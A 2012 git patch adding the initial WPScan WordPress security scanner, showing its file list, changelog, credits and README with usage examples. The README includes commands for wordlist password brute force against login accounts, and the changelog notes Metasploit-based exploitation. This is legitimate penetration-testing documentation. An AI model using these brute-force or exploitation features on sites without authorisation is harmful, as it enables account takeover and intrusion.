From 3d78cbc4acf20366b26f68c5a24a17c79e557646 Mon Sep 17 00:00:00 2001 From: ethicalhack3r Date: Wed, 11 Jul 2012 22:49:18 +0200 Subject: [PATCH] WPScan files --- CHANGELOG | 85 + CREDITS | 17 + README | 166 + .../35504159817dfba1706512be7e023fba2055af83 | 82 + .../4348a4737f0b95fffd545b87f52a004241bddc30 | 77 + .../5f78f7b0115fd211a249722e8606cad9a884be7f | 310 ++ .../74f38439d29d49d87ef6e32899a38fd783cc5054 | 310 ++ .../939fd7bc272632ee56c37fb24f8994b29c6bbd47 | 310 ++ .../9d27e728fa64564f96f85adaf35f7cbbb2904e04 | 310 ++ .../a7e216f8d6de722e951cc9105236a7a65d60db26 | 311 ++ .../bf09e1dd1fc374faf202d564332d977927c1ca25 | 310 ++ .../c2655a44d2cf25a7b9107e7983a1da0d9d6bc02a | 310 ++ .../d088c604417091f3f05f5018e3a0ee09aff8a3fc | 159 + .../e9a03326c5fdf909f33b69ecb341ecd834ba3355 | 171 ++ .../fc7f0fd0a60236dd144b356a12427c8223875a21 | 305 ++ conf/browser.conf.json | 54 + data/malwares.txt | 3 + data/plugin_vulns.xml | 2241 ++++++++++++++ data/plugins.txt | 2716 +++++++++++++++++ data/timthumbs.txt | 2447 +++++++++++++++ data/wp_theme_vulns.xml | 865 ++++++ data/wp_versions.xml | 232 ++ data/wp_vulns.xml | 211 ++ lib/browser.rb | 218 ++ lib/cache_file_store.rb | 52 + lib/common_helper.rb | 85 + lib/environment.rb | 34 + lib/updater/git_updater.rb | 40 + lib/updater/svn_updater.rb | 39 + lib/updater/updater.rb | 47 + lib/updater/updater_factory.rb | 39 + lib/wpscan/exploit.rb | 209 ++ lib/wpscan/modules/brute_force.rb | 116 + lib/wpscan/modules/malwares.rb | 59 + lib/wpscan/modules/web_site.rb | 68 + lib/wpscan/modules/wp_config_backup.rb | 56 + lib/wpscan/modules/wp_full_path_disclosure.rb | 30 + lib/wpscan/modules/wp_login_protection.rb | 109 + lib/wpscan/modules/wp_plugins.rb | 130 + lib/wpscan/modules/wp_readme.rb | 36 + lib/wpscan/modules/wp_timthumbs.rb | 102 + lib/wpscan/modules/wp_usernames.rb | 52 + lib/wpscan/msfrpc_client.rb | 156 + lib/wpscan/vulnerable.rb | 41 + lib/wpscan/wp_plugin.rb | 96 + lib/wpscan/wp_target.rb | 108 + lib/wpscan/wp_theme.rb | 89 + lib/wpscan/wp_version.rb | 120 + lib/wpscan/wp_vulnerability.rb | 27 + lib/wpscan/wpscan_helper.rb | 67 + lib/wpscan/wpscan_options.rb | 204 ++ lib/wpstools/generate_plugin_list.rb | 128 + lib/wpstools/wpstools_helper.rb | 28 + spec/fixtures/conf/browser/browser.conf.json | 7 + .../conf/browser/browser.conf_proxy.json | 7 + spec/fixtures/empty-file | 0 .../wp_versions/0.71-gold/layout2b.css | 171 ++ .../wp_versions/0.71-gold/readme.html | 995 ++++++ .../wp_versions/1.2-delta/readme.html | 248 ++ .../wp_versions/1.2-delta/wp-layout.css | 302 ++ spec/fixtures/wp_versions/1.2.1/readme.html | 160 + spec/fixtures/wp_versions/1.2.1/wp-layout.css | 303 ++ spec/fixtures/wp_versions/1.5.2/readme.html | 126 + .../1.5.2/wp-content/themes/default/style.css | 610 ++++ spec/fixtures/wp_versions/2.0.1/readme.html | 120 + .../2.0.1/wp-content/themes/default/style.css | 622 ++++ spec/fixtures/wp_versions/2.0/readme.html | 120 + .../2.0/wp-content/themes/default/style.css | 626 ++++ spec/fixtures/wp_versions/2.2/readme.html | 91 + .../wp_versions/2.2/wp-includes/js/wp-ajax.js | 100 + spec/fixtures/wp_versions/2.5.1/readme.html | 91 + .../js/tinymce/themes/advanced/js/image.js | 254 ++ spec/fixtures/wp_versions/2.5/readme.html | 91 + .../js/tinymce/themes/advanced/js/link.js | 126 + spec/fixtures/wp_versions/2.6/readme.html | 91 + .../2.6/wp-admin/gears-manifest.php | 222 ++ .../plugins/wpeditimage/editor_plugin.js | 217 ++ spec/fixtures/wp_versions/2.7.1/readme.html | 91 + .../2.7.1/wp-admin/gears-manifest.php | 172 ++ .../2.7.1/wp-includes/js/wp-ajax-response.js | 60 + spec/fixtures/wp_versions/2.7/readme.html | 91 + .../2.7/wp-admin/gears-manifest.php | 172 ++ .../2.7/wp-includes/js/thickbox/thickbox.css | 161 + spec/fixtures/wp_versions/2.8.2/readme.html | 91 + .../2.8.2/wp-admin/gears-manifest.php | 76 + .../wp-content/plugins/akismet/readme.txt | 42 + spec/fixtures/wp_versions/2.8.5/readme.html | 91 + .../2.8.5/wp-admin/gears-manifest.php | 76 + .../wp-content/plugins/akismet/readme.txt | 46 + spec/fixtures/wp_versions/2.8.6/readme.html | 91 + .../2.8.6/wp-admin/gears-manifest.php | 76 + .../wp-content/plugins/akismet/readme.txt | 48 + spec/fixtures/wp_versions/3.0/readme.html | 109 + .../3.0/wp-admin/gears-manifest.php | 73 + .../3.0/wp-content/themes/twentyten/style.css | 1346 ++++++++ spec/fixtures/wp_versions/3.1/readme.html | 109 + .../3.1/wp-admin/gears-manifest.php | 72 + .../3.1/wp-includes/css/admin-bar.css | 1 + spec/fixtures/wp_versions/3.2.1/readme.html | 109 + .../3.2.1/wp-admin/gears-manifest.php | 72 + .../wp-content/themes/twentyeleven/style.css | 2670 ++++++++++++++++ spec/fixtures/wp_versions/3.2/readme.html | 109 + .../3.2/wp-admin/gears-manifest.php | 72 + .../wp-content/themes/twentyeleven/style.css | 2669 ++++++++++++++++ .../3.3.1/wp-admin/gears-manifest.php | 165 + .../wp-content/themes/twentyeleven/style.css | 2679 ++++++++++++++++ .../3.3.2/wp-admin/gears-manifest.php | 72 + .../3.3.2/wp-includes/js/plupload/plupload.js | 2 + spec/fixtures/wp_versions/3.3/readme.html | 109 + .../3.3/wp-admin/gears-manifest.php | 72 + .../wp_versions/3.3/wp-admin/js/common.js | 1 + .../wpscan/modules/malwares/clean.html | 137 + .../wpscan/modules/malwares/malwares.txt | 3 + .../modules/malwares/multiple-infections.html | 145 + .../malwares/single-iframe-infection.html | 143 + .../modules/malwares/single-infection.html | 143 + .../wpscan/modules/web_site/wp-login.php | 54 + .../wpscan/modules/web_site/xmlrpc.php | 1 + .../modules/wp_config_backup/wp-config.php | 90 + .../rss-functions-disclosure.php | 11 + .../wp-login-better_wp_security.php | 0 .../wp-login-bluetrait_event_viewer.php | 0 .../wp_login_protection/wp-login-clean.php | 54 + .../wp-login-limit_login_attempts.php | 0 .../wp-login-login_lock.php | 54 + .../wp-login-login_lockdown.php | 54 + .../wp-login-login_security_solution.php | 0 .../wp-login-simple_login_lockdown.php | 0 .../passive_detection/no_plugins.htm | 21 + .../passive_detection/one_plugin.htm | 26 + .../passive_detection/various_plugins.htm | 58 + .../modules/wp_plugins/plugin_vulns.xml | 18 + .../wpscan/modules/wp_plugins/plugins.txt | 5 + .../modules/wp_readme/readme-3.2.1.html | 109 + .../modules/wp_readme/readme-3.3.2-fr.html | 106 + .../wpscan/modules/wp_timthumbs/timthumb.php | 2 + .../wpscan/modules/wp_timthumbs/timthumbs.txt | 3 + .../wpscan/modules/wp_usernames/admin.htm | 145 + .../wpscan/wp_plugin/error_log/error_log | 25 + .../version/simple-login-lockdown-0.4.txt | 65 + .../wp_plugin/version/trunk-version.txt | 44 + .../vulnerabilities/plugin_vulns.xml | 27 + .../wordpress-3.4.1-custom-subdirectories.htm | 138 + .../wordpress-3.4.1-custom-with-spaces.htm | 138 + .../wp_content_dir/wordpress-3.4.1-custom.htm | 138 + .../wp_content_dir/wordpress-3.4.1-in-src.htm | 137 + .../wp_content_dir/wordpress-3.4.1.htm | 138 + .../find/css_link/theme-name-with-spaces.html | 131 + .../find/css_link/wordpress-twentyeleven.htm | 131 + .../find/wooframework/editorial-1.3.5.html | 32 + .../wooframework/merchant-no-version.html | 32 + .../wpscan/wp_theme/version/bueno-1.5.1.css | 198 ++ .../wp_theme/version/twentyeleven-1.3.css | 2679 ++++++++++++++++ .../wp_theme/version/twentyeleven-unknow.css | 2678 ++++++++++++++++ spec/fixtures/wpscan/wp_version/404.htm | 9 + .../wp_version/meta-generator/3.3.2.htm | 174 ++ .../wp_version/meta-generator/3.4-beta4.htm | 138 + .../meta-generator/no-meta-generator.htm | 136 + .../wp_version/readme/empty-version.html | 109 + .../wp_version/readme/readme-3.3.2.html | 109 + .../wpscan/wp_version/rss-generator/3.3.2.htm | 37 + .../wp_version/rss-generator/3.4-beta4.htm | 37 + .../rss-generator/no-rss-generator.htm | 36 + .../wp_version/rss-generator/no-version.htm | 37 + .../wpscan/wpscan_options/wordlist.txt | 4 + spec/lib/browser_spec.rb | 293 ++ spec/lib/cache_file_store_spec.rb | 68 + spec/lib/updater/git_updater_spec.rb | 5 + spec/lib/updater/svn_updater_spec.rb | 78 + spec/lib/updater/updater_factory_spec.rb | 27 + spec/lib/updater/updater_spec.rb | 25 + spec/lib/wpscan/modules/malwares_spec.rb | 56 + spec/lib/wpscan/modules/web_site_spec.rb | 77 + .../wpscan/modules/wp_config_backup_spec.rb | 61 + .../modules/wp_full_path_disclosure_spec.rb | 40 + .../modules/wp_login_protection_spec.rb | 96 + spec/lib/wpscan/modules/wp_plugins_spec.rb | 132 + spec/lib/wpscan/modules/wp_readme_spec.rb | 41 + spec/lib/wpscan/modules/wp_timthumbs_spec.rb | 93 + spec/lib/wpscan/modules/wp_usernames_spec.rb | 68 + spec/lib/wpscan/wp_plugin_spec.rb | 218 ++ spec/lib/wpscan/wp_target_spec.rb | 135 + spec/lib/wpscan/wp_theme_spec.rb | 149 + spec/lib/wpscan/wp_version_spec.rb | 123 + spec/lib/wpscan/wpscan_helper.rb | 33 + spec/lib/wpscan/wpscan_options_spec.rb | 301 ++ spec/lib/wpstools/wpstools_helper.rb | 4 + spec/spec_helper.rb | 65 + wpscan.rb | 309 ++ wpstools.rb | 83 + 190 files changed, 43701 insertions(+) create mode 100644 CHANGELOG create mode 100644 CREDITS create mode 100644 README create mode 100644 cache/browser/35504159817dfba1706512be7e023fba2055af83 create mode 100644 cache/browser/4348a4737f0b95fffd545b87f52a004241bddc30 create mode 100644 cache/browser/5f78f7b0115fd211a249722e8606cad9a884be7f create mode 100644 cache/browser/74f38439d29d49d87ef6e32899a38fd783cc5054 create mode 100644 cache/browser/939fd7bc272632ee56c37fb24f8994b29c6bbd47 create mode 100644 cache/browser/9d27e728fa64564f96f85adaf35f7cbbb2904e04 create mode 100644 cache/browser/a7e216f8d6de722e951cc9105236a7a65d60db26 create mode 100644 cache/browser/bf09e1dd1fc374faf202d564332d977927c1ca25 create mode 100644 cache/browser/c2655a44d2cf25a7b9107e7983a1da0d9d6bc02a create mode 100644 cache/browser/d088c604417091f3f05f5018e3a0ee09aff8a3fc create mode 100644 cache/browser/e9a03326c5fdf909f33b69ecb341ecd834ba3355 create mode 100644 cache/browser/fc7f0fd0a60236dd144b356a12427c8223875a21 create mode 100644 conf/browser.conf.json create mode 100644 data/malwares.txt create mode 100644 data/plugin_vulns.xml create mode 100644 data/plugins.txt create mode 100644 data/timthumbs.txt create mode 100644 data/wp_theme_vulns.xml create mode 100644 data/wp_versions.xml create mode 100644 data/wp_vulns.xml create mode 100644 lib/browser.rb create mode 100644 lib/cache_file_store.rb create mode 100644 lib/common_helper.rb create mode 100644 lib/environment.rb create mode 100644 lib/updater/git_updater.rb create mode 100644 lib/updater/svn_updater.rb create mode 100644 lib/updater/updater.rb create mode 100644 lib/updater/updater_factory.rb create mode 100644 lib/wpscan/exploit.rb create mode 100644 lib/wpscan/modules/brute_force.rb create mode 100644 lib/wpscan/modules/malwares.rb create mode 100644 lib/wpscan/modules/web_site.rb create mode 100644 lib/wpscan/modules/wp_config_backup.rb create mode 100644 lib/wpscan/modules/wp_full_path_disclosure.rb create mode 100644 lib/wpscan/modules/wp_login_protection.rb create mode 100644 lib/wpscan/modules/wp_plugins.rb create mode 100644 lib/wpscan/modules/wp_readme.rb create mode 100644 lib/wpscan/modules/wp_timthumbs.rb create mode 100644 lib/wpscan/modules/wp_usernames.rb create mode 100644 lib/wpscan/msfrpc_client.rb create mode 100644 lib/wpscan/vulnerable.rb create mode 100644 lib/wpscan/wp_plugin.rb create mode 100644 lib/wpscan/wp_target.rb create mode 100644 lib/wpscan/wp_theme.rb create mode 100644 lib/wpscan/wp_version.rb create mode 100644 lib/wpscan/wp_vulnerability.rb create mode 100644 lib/wpscan/wpscan_helper.rb create mode 100644 lib/wpscan/wpscan_options.rb create mode 100644 lib/wpstools/generate_plugin_list.rb create mode 100644 lib/wpstools/wpstools_helper.rb create mode 100644 spec/fixtures/conf/browser/browser.conf.json create mode 100644 spec/fixtures/conf/browser/browser.conf_proxy.json create mode 100644 spec/fixtures/empty-file create mode 100755 spec/fixtures/wp_versions/0.71-gold/layout2b.css create mode 100755 spec/fixtures/wp_versions/0.71-gold/readme.html create mode 100755 spec/fixtures/wp_versions/1.2-delta/readme.html create mode 100755 spec/fixtures/wp_versions/1.2-delta/wp-layout.css create mode 100755 spec/fixtures/wp_versions/1.2.1/readme.html create mode 100755 spec/fixtures/wp_versions/1.2.1/wp-layout.css create mode 100755 spec/fixtures/wp_versions/1.5.2/readme.html create mode 100755 spec/fixtures/wp_versions/1.5.2/wp-content/themes/default/style.css create mode 100755 spec/fixtures/wp_versions/2.0.1/readme.html create mode 100755 spec/fixtures/wp_versions/2.0.1/wp-content/themes/default/style.css create mode 100755 spec/fixtures/wp_versions/2.0/readme.html create mode 100755 spec/fixtures/wp_versions/2.0/wp-content/themes/default/style.css create mode 100755 spec/fixtures/wp_versions/2.2/readme.html create mode 100755 spec/fixtures/wp_versions/2.2/wp-includes/js/wp-ajax.js create mode 100755 spec/fixtures/wp_versions/2.5.1/readme.html create mode 100755 spec/fixtures/wp_versions/2.5.1/wp-includes/js/tinymce/themes/advanced/js/image.js create mode 100755 spec/fixtures/wp_versions/2.5/readme.html create mode 100755 spec/fixtures/wp_versions/2.5/wp-includes/js/tinymce/themes/advanced/js/link.js create mode 100755 spec/fixtures/wp_versions/2.6/readme.html create mode 100644 spec/fixtures/wp_versions/2.6/wp-admin/gears-manifest.php create mode 100755 spec/fixtures/wp_versions/2.6/wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js create mode 100755 spec/fixtures/wp_versions/2.7.1/readme.html create mode 100644 spec/fixtures/wp_versions/2.7.1/wp-admin/gears-manifest.php create mode 100755 spec/fixtures/wp_versions/2.7.1/wp-includes/js/wp-ajax-response.js create mode 100755 spec/fixtures/wp_versions/2.7/readme.html create mode 100644 spec/fixtures/wp_versions/2.7/wp-admin/gears-manifest.php create mode 100755 spec/fixtures/wp_versions/2.7/wp-includes/js/thickbox/thickbox.css create mode 100755 spec/fixtures/wp_versions/2.8.2/readme.html create mode 100644 spec/fixtures/wp_versions/2.8.2/wp-admin/gears-manifest.php create mode 100755 spec/fixtures/wp_versions/2.8.2/wp-content/plugins/akismet/readme.txt create mode 100755 spec/fixtures/wp_versions/2.8.5/readme.html create mode 100644 spec/fixtures/wp_versions/2.8.5/wp-admin/gears-manifest.php create mode 100755 spec/fixtures/wp_versions/2.8.5/wp-content/plugins/akismet/readme.txt create mode 100755 spec/fixtures/wp_versions/2.8.6/readme.html create mode 100644 spec/fixtures/wp_versions/2.8.6/wp-admin/gears-manifest.php create mode 100755 spec/fixtures/wp_versions/2.8.6/wp-content/plugins/akismet/readme.txt create mode 100755 spec/fixtures/wp_versions/3.0/readme.html create mode 100644 spec/fixtures/wp_versions/3.0/wp-admin/gears-manifest.php create mode 100755 spec/fixtures/wp_versions/3.0/wp-content/themes/twentyten/style.css create mode 100755 spec/fixtures/wp_versions/3.1/readme.html create mode 100644 spec/fixtures/wp_versions/3.1/wp-admin/gears-manifest.php create mode 100755 spec/fixtures/wp_versions/3.1/wp-includes/css/admin-bar.css create mode 100755 spec/fixtures/wp_versions/3.2.1/readme.html create mode 100755 spec/fixtures/wp_versions/3.2.1/wp-admin/gears-manifest.php create mode 100755 spec/fixtures/wp_versions/3.2.1/wp-content/themes/twentyeleven/style.css create mode 100755 spec/fixtures/wp_versions/3.2/readme.html create mode 100644 spec/fixtures/wp_versions/3.2/wp-admin/gears-manifest.php create mode 100755 spec/fixtures/wp_versions/3.2/wp-content/themes/twentyeleven/style.css create mode 100755 spec/fixtures/wp_versions/3.3.1/wp-admin/gears-manifest.php create mode 100755 spec/fixtures/wp_versions/3.3.1/wp-content/themes/twentyeleven/style.css create mode 100755 spec/fixtures/wp_versions/3.3.2/wp-admin/gears-manifest.php create mode 100755 spec/fixtures/wp_versions/3.3.2/wp-includes/js/plupload/plupload.js create mode 100755 spec/fixtures/wp_versions/3.3/readme.html create mode 100755 spec/fixtures/wp_versions/3.3/wp-admin/gears-manifest.php create mode 100755 spec/fixtures/wp_versions/3.3/wp-admin/js/common.js create mode 100755 spec/fixtures/wpscan/modules/malwares/clean.html create mode 100644 spec/fixtures/wpscan/modules/malwares/malwares.txt create mode 100644 spec/fixtures/wpscan/modules/malwares/multiple-infections.html create mode 100644 spec/fixtures/wpscan/modules/malwares/single-iframe-infection.html create mode 100755 spec/fixtures/wpscan/modules/malwares/single-infection.html create mode 100755 spec/fixtures/wpscan/modules/web_site/wp-login.php create mode 100755 spec/fixtures/wpscan/modules/web_site/xmlrpc.php create mode 100755 spec/fixtures/wpscan/modules/wp_config_backup/wp-config.php create mode 100755 spec/fixtures/wpscan/modules/wp_full_path_disclosure/rss-functions-disclosure.php create mode 100644 spec/fixtures/wpscan/modules/wp_login_protection/wp-login-better_wp_security.php create mode 100644 spec/fixtures/wpscan/modules/wp_login_protection/wp-login-bluetrait_event_viewer.php create mode 100755 spec/fixtures/wpscan/modules/wp_login_protection/wp-login-clean.php create mode 100644 spec/fixtures/wpscan/modules/wp_login_protection/wp-login-limit_login_attempts.php create mode 100755 spec/fixtures/wpscan/modules/wp_login_protection/wp-login-login_lock.php create mode 100755 spec/fixtures/wpscan/modules/wp_login_protection/wp-login-login_lockdown.php create mode 100644 spec/fixtures/wpscan/modules/wp_login_protection/wp-login-login_security_solution.php create mode 100644 spec/fixtures/wpscan/modules/wp_login_protection/wp-login-simple_login_lockdown.php create mode 100755 spec/fixtures/wpscan/modules/wp_plugins/passive_detection/no_plugins.htm create mode 100644 spec/fixtures/wpscan/modules/wp_plugins/passive_detection/one_plugin.htm create mode 100644 spec/fixtures/wpscan/modules/wp_plugins/passive_detection/various_plugins.htm create mode 100644 spec/fixtures/wpscan/modules/wp_plugins/plugin_vulns.xml create mode 100644 spec/fixtures/wpscan/modules/wp_plugins/plugins.txt create mode 100755 spec/fixtures/wpscan/modules/wp_readme/readme-3.2.1.html create mode 100755 spec/fixtures/wpscan/modules/wp_readme/readme-3.3.2-fr.html create mode 100755 spec/fixtures/wpscan/modules/wp_timthumbs/timthumb.php create mode 100644 spec/fixtures/wpscan/modules/wp_timthumbs/timthumbs.txt create mode 100755 spec/fixtures/wpscan/modules/wp_usernames/admin.htm create mode 100755 spec/fixtures/wpscan/wp_plugin/error_log/error_log create mode 100755 spec/fixtures/wpscan/wp_plugin/version/simple-login-lockdown-0.4.txt create mode 100755 spec/fixtures/wpscan/wp_plugin/version/trunk-version.txt create mode 100644 spec/fixtures/wpscan/wp_plugin/vulnerabilities/plugin_vulns.xml create mode 100755 spec/fixtures/wpscan/wp_target/wp_content_dir/wordpress-3.4.1-custom-subdirectories.htm create mode 100755 spec/fixtures/wpscan/wp_target/wp_content_dir/wordpress-3.4.1-custom-with-spaces.htm create mode 100755 spec/fixtures/wpscan/wp_target/wp_content_dir/wordpress-3.4.1-custom.htm create mode 100755 spec/fixtures/wpscan/wp_target/wp_content_dir/wordpress-3.4.1-in-src.htm create mode 100755 spec/fixtures/wpscan/wp_target/wp_content_dir/wordpress-3.4.1.htm create mode 100644 spec/fixtures/wpscan/wp_theme/find/css_link/theme-name-with-spaces.html create mode 100755 spec/fixtures/wpscan/wp_theme/find/css_link/wordpress-twentyeleven.htm create mode 100644 spec/fixtures/wpscan/wp_theme/find/wooframework/editorial-1.3.5.html create mode 100644 spec/fixtures/wpscan/wp_theme/find/wooframework/merchant-no-version.html create mode 100755 spec/fixtures/wpscan/wp_theme/version/bueno-1.5.1.css create mode 100755 spec/fixtures/wpscan/wp_theme/version/twentyeleven-1.3.css create mode 100755 spec/fixtures/wpscan/wp_theme/version/twentyeleven-unknow.css create mode 100755 spec/fixtures/wpscan/wp_version/404.htm create mode 100755 spec/fixtures/wpscan/wp_version/meta-generator/3.3.2.htm create mode 100755 spec/fixtures/wpscan/wp_version/meta-generator/3.4-beta4.htm create mode 100755 spec/fixtures/wpscan/wp_version/meta-generator/no-meta-generator.htm create mode 100755 spec/fixtures/wpscan/wp_version/readme/empty-version.html create mode 100755 spec/fixtures/wpscan/wp_version/readme/readme-3.3.2.html create mode 100755 spec/fixtures/wpscan/wp_version/rss-generator/3.3.2.htm create mode 100755 spec/fixtures/wpscan/wp_version/rss-generator/3.4-beta4.htm create mode 100755 spec/fixtures/wpscan/wp_version/rss-generator/no-rss-generator.htm create mode 100644 spec/fixtures/wpscan/wp_version/rss-generator/no-version.htm create mode 100644 spec/fixtures/wpscan/wpscan_options/wordlist.txt create mode 100644 spec/lib/browser_spec.rb create mode 100644 spec/lib/cache_file_store_spec.rb create mode 100644 spec/lib/updater/git_updater_spec.rb create mode 100644 spec/lib/updater/svn_updater_spec.rb create mode 100644 spec/lib/updater/updater_factory_spec.rb create mode 100644 spec/lib/updater/updater_spec.rb create mode 100644 spec/lib/wpscan/modules/malwares_spec.rb create mode 100644 spec/lib/wpscan/modules/web_site_spec.rb create mode 100644 spec/lib/wpscan/modules/wp_config_backup_spec.rb create mode 100644 spec/lib/wpscan/modules/wp_full_path_disclosure_spec.rb create mode 100644 spec/lib/wpscan/modules/wp_login_protection_spec.rb create mode 100644 spec/lib/wpscan/modules/wp_plugins_spec.rb create mode 100644 spec/lib/wpscan/modules/wp_readme_spec.rb create mode 100644 spec/lib/wpscan/modules/wp_timthumbs_spec.rb create mode 100644 spec/lib/wpscan/modules/wp_usernames_spec.rb create mode 100644 spec/lib/wpscan/wp_plugin_spec.rb create mode 100644 spec/lib/wpscan/wp_target_spec.rb create mode 100644 spec/lib/wpscan/wp_theme_spec.rb create mode 100644 spec/lib/wpscan/wp_version_spec.rb create mode 100644 spec/lib/wpscan/wpscan_helper.rb create mode 100644 spec/lib/wpscan/wpscan_options_spec.rb create mode 100644 spec/lib/wpstools/wpstools_helper.rb create mode 100644 spec/spec_helper.rb create mode 100755 wpscan.rb create mode 100755 wpstools.rb diff --git a/CHANGELOG b/CHANGELOG new file mode 100644 index 00000000..6e72a8b4 --- /dev/null +++ b/CHANGELOG @@ -0,0 +1,85 @@ +# WPScan Changelog + +Version 1.1 - Released 25.11.2011 + +Added a few plugin vulns to the database +Fix for issue 54 +CREDITS file update +Fix for Issue 51. +Moved the uniq! method in generate_plugin_list +SVN output redirected to /dev/null +Added 2 new plugin vulns +Added Clickdesk Live Chat Support XSS vuln +Improved non responsive server method +Improved update class to hide STDERR when there is no outbound conn +Added adminimize plugin XSS. +Fix for Issue 57, slight amendment. +Fix for Issue 57 +Fix for Issue 50 (redirect) +Added advanced-text-widget XSS vuln +Added XSS vuln in all versions of WP-Cumulus +Typo in bruter +Couple of output changes + removal of flash gallery plugin duplicate +Implemented version scrapping from RSS feed +Issue 50 +Issue 50 fix +404 checking on plugin detection implemented +Full Path Disclosure (FPD) check added. +timthumb.txt file uniqued by michee08 +Added Miche08 to credits +Added new SQLI vulnerability in adrotate plugin +Fixed bug where theme name needed URL encoding before being used in the timthumb method. +Fix for issue 48. Not tested. +Added new Zingiri Web Shop RCE vulnerability +Fix for issue 48. Not tested. +Cleaned up plugin enum output a little +Output improvements, method name improvements +GPL code changed for future YARD documentayion +improved user input handling +Improved error_log file detection +Improved the timthumb method slightly +Amended contribution from tripmonster +Added contribution from tripmonster +Moved update code under the banner so that it shows during an update +Moved update code to run before anything +Fixed a bug in wordpress detection +Added timthumb reference, not everyone will know what timthumb is... +small typo +better timthumb discovery +timthumb enumeration checks added +Fix for issue 44 and updates to auto-update +Commented update class +Forgot to add class file +Auto updating implemented +Fix for issue 43 +Added 4 new SQLI and 1 RCE from ExploitDB +Issue 39 tested and working +Some work on issue 39 +Exploitation refactoring +Fix for issue 31 +Fix for issue 34 +Bug with when session is 1 +Meterpreter interaction working +Further work on metasploit intergration +Some functionality of exploitation through MSFRPC implemented. NOT FINISHED +type, uri and postdata XML tags added to all RFI vulns +Output tweaking +MSFRPC + WPSCAN XMLRPC CLIENT WORKING WITH ADDITIONAL METHODS +XMLRPC Client in a working state +Added WordPress AdRotate plugin <= 3.6.5 SQL Injection Vulnerability to vuln library +MSF XMLRPC CLIENT PoC (NOT WORKING YET) +Some slight output tidying up +Added 3.1.2 Clickjacking Vulnerability +Added a ton of new plugin vulns discovered by Ben Schmidt (@_supernothing) +Addedd 2 new plugin vulns: Count per Day <= 2.17 and Filedownload 0.1 +Added Gianluca to CREDITS file +Issue 25: patched plugin_vulns.xml +removed WP 3.0.4 common_post_ID Blind SQLi false positive +added 1-flash-gallery plugin vuln +version update +discover.advanced_version_fingerprinting method imeplemented +Issue 23: Patch for /trunk/data/plugin_vulns.xml +some small amendments +wp versions file initial commit with only scores of 1 +updated published plugin vulns +progress indicators diff --git a/CREDITS b/CREDITS new file mode 100644 index 00000000..aa48164e --- /dev/null +++ b/CREDITS @@ -0,0 +1,17 @@ +**CREDITS** + +This file is to give credit to WPScan's contributors. If you feel your name should be in here, email ryandewhurst at gmail. + +*WPScan Team* + +Erwan.LR - @erwan_lr - (Project Developer) +Gianluca Brindisi - @gbrindisi (Project Developer) +Ryan Dewhurst - @ethicalhack3r (Project Lead) + +*Other Contributors* + +Alip AKA Undead - alip.aswalid at gmail.com +michee08 - Reported and gave potential solutions to bugs. +Callum Pember - Implemented proxy support - callumpember at gmail.com +g0tmi1k - Additional timthumb checks + bug reports. +Melvin Lammerts - Reported a couple of fake vulnerabilities - melvin at 12k.nl diff --git a/README b/README new file mode 100644 index 00000000..57100520 --- /dev/null +++ b/README @@ -0,0 +1,166 @@ +__________________________________________________ + __ _______ _____ + \ \ / / __ \ / ____| + \ \ /\ / /| |__) | (___ ___ __ _ _ __ + \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ + \ /\ / | | ____) | (__| (_| | | | | + \/ \/ |_| |_____/ \___|\__,_|_| |_| + +WordPress Security Scanner by ethicalhack3r.co.uk +__________________________________________________ + +*THE MOST UP TO DATE README FILE CAN BE FOUND HERE* + +http://code.google.com/p/wpscan/wiki/README + +==LICENSE== + +WPScan - WordPress Security Scanner +Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . + +ryandewhurst at gmail + + +==INSTALL== + +WPScan comes pre-installed on BackTrack5 R1 in the /pentest/web/wpscan directory. WPScan only supports Ruby => 1.9. + + -> Installing on Backtrack5 Gnome/KDE 32bit : + + sudo apt-get install libcurl4-gnutls-dev + sudo gem install --user-install mime-types typhoeus nokogiri json + + + -> Installing on Debian/Ubuntu : + + sudo apt-get install libcurl4-gnutls-dev libopenssl-ruby + sudo gem install typhoeus nokogiri json + + + -> Installing on other nix : (not tested) + + sudo gem install typhoeus nokogiri json + + + -> Installing on Windows : (not tested) + + gem install typhoeus ("Windows is not officially supported") + gem install nokogiri json + + + -> Installing on Mac OSX : + + sudo gem install typhoeus nokogiri json + + +==KNOWN ISSUES== + + - Typhoeus segmentation fault + Update curl to at least v7.21 (you may have to install it from sources) + See http://code.google.com/p/wpscan/issues/detail?id=81 + + - If you have one the following errors : "-bash: !t: event not found", "-bash: !u: event not found" + It happens whith enumeration : just put the 't' or 'u' before the 'p!' : '-e tp!' instead of '-e p!t' + + +==WPSCAN ARGUMENTS== + +--update Update to the latest revision + +--url | -u The WordPress URL/domain to scan. + +--force | -f Forces WPScan to not check if the remote site is running WordPress. + +--enumerate | -e [option(s)] Enumeration. + option : + u usernames from id 1 to 10 + u[10-20] usernames from id 10 to 20 (you must write [] chars) + p plugins + p! only vulnerable plugins + t timthumbs + Multiple values are allowed : '-e tp' will enumerate timthumbs and plugins + If no option is supplied, the default is 'tup!' + +--follow-redirection If the target url has a redirection, it will be followed without asking if you wanted to do so or not + +--wp-content-dir WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specified it. Subdirectories are allowed + +--wp-plugins-dir Same thing than --wp-content-dir but for the plugins directory. If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed + +--proxy Supply a proxy in the format host:port (will override the one from conf/browser.conf.json) + +--wordlist | -w Supply a wordlist for the password bruter and do the brute. + +--threads | -t The number of threads to use when multi-threading requests. (will override the value from conf/browser.conf.json) + +--username | -U Only brute force the supplied username. + +--help | -h This help screen. + +--verbose | -v Verbose output. + + +==WPSCAN EXAMPLES== + +Do 'non-intrusive' checks... + +ruby wpscan.rb --url www.example.com + +Do wordlist password brute force on enumerated users using 50 threads... + +ruby wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50 + +Do wordlist password brute force on the 'admin' username only... + +ruby wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin + +Enumerate instaled plugins... + +ruby wpscan.rb --url www.example.com --enumerate p + + +==WPSTOOLS ARGUMENTS== + +--help | -h This help screen. +--Verbose | -v Verbose output. +--update | -u Update to the latest revision. 